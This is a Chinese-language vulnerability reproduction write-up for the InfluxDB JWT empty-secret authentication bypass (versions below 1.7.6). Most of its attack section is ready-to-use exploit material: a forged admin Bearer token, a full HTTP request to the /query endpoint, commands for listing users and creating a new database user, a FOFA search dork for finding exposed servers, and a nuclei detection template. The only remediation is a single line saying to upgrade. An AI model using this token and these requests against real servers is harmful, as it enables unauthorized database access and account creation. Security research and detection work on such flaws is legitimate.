0x01 漏洞描述

InfluxDB是一个由InfluxData开发的开源时序型数据库,专注于海量时序数据的高性能读、高性能写、高效存储与实时分析等,在DB-Engines Ranking时序型数据库排行榜上排名第一,广泛应用于DevOps监控、IoT监控、实时分析等场景。其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
影响版本:Influxdb < 1.7.6
安装后访问:http://ip:8086/debug/vars
image.png
执行数据库查询指令,返回结果为401未授权。
image.png

0x02 漏洞复现

借助https://jwt.io/来生成jwt token:
其中,admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,需要设置为一个未来的时间戳,secret处为空。

  1. {
  2. "alg": "HS256",
  3. "typ": "JWT"
  4. }
  5. {
  6. "username": "admin",
  7. "exp": 1648463601
  8. }

image.png
在HTTP头加上Authorization字段和Content-Type字段,最后payload如下:

  1. POST /query HTTP/1.1
  2. Host: ip:8086
  3. Pragma: no-cache
  4. Cache-Control: no-cache
  5. Upgrade-Insecure-Requests: 1
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  10. Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQ4NDYzNjAxfQ.pzMIrII9Opks2ZsbzhCdRSesHHWE_RAahYDKnM0Trjk
  11. Content-Type: application/x-www-form-urlencoded
  12. Connection: close
  13. Content-Length: 22
  14. db=sample&q=show+users

image.png
InfluxDB API 默认有以下 4 个 endpoint:
/debug/requests?seconds=10 查看 10 秒内谁在操作 InfluxDB 数据库,可以通过泄露的数据,发现更多和目标有关联的地址。
/ping 用来检查 数据库实例状态和版本号
/query 用来查询数据库数据
/write 用来更改数据库数据
主要就是利用 query 和 write 来操作数据库的数据, 基础语法:

  • SHOW USERS // 查看当前所有的数据库用户
  • SHOW DATABASES // 查看所有的数据库
  • SHOW MEASUREMENTS // 查询当前数据库中含有的表
  • SHOW FIELD KEYS // 查看当前数据库所有表的字段
  • CREATE USER LandGrey WITH PASSWORD ‘LandGrey’ // 创建 LandGrey:LandGrey 数据库用户

其他查询语法和普通SQL查询语法类似。

0x03 漏洞发现

Web 操作界面默认运行在 localhost 8083 端口
HTTP API 接口默认运行在 localhost 8086 端口
扫描默认的 8083 或者 8086 端口
8086端口 HTTP API 的 X-Influxdb-Version 标志头
影响版本 InfluxDB < 1.7.6 的版本。
fofa语法:header=”X-Influxdb-Version:” && country=”CN”
nuclei模板:

  1. id: default-secret-unauthenticated-influxdb
  2. info:
  3. name: Default Secret Unauthentication InfluxDB Detection
  4. author: pussycat0x,kemoon
  5. severity: high
  6. metadata:
  7. shodan-dork: InfluxDB
  8. tags: unauth,db,influxdb,misconfig
  9. requests:
  10. - method: GET
  11. path:
  12. - "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"
  13. headers:
  14. Authorization: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQ4NDYzNjAxfQ.pzMIrII9Opks2ZsbzhCdRSesHHWE_RAahYDKnM0Trjk"
  15. matchers-condition: and
  16. matchers:
  17. - type: word
  18. part: body
  19. words:
  20. - '"results":'
  21. - '"name":"databases"'
  22. condition: and
  23. - type: status
  24. status:
  25. - 200

image.png

0x04 修复建议

升级到最新版本。

参考链接:
[1] http://www.hackdig.com/12/hack-240165.htm
[2] https://vulhub.org/#/environments/influxdb/unacc/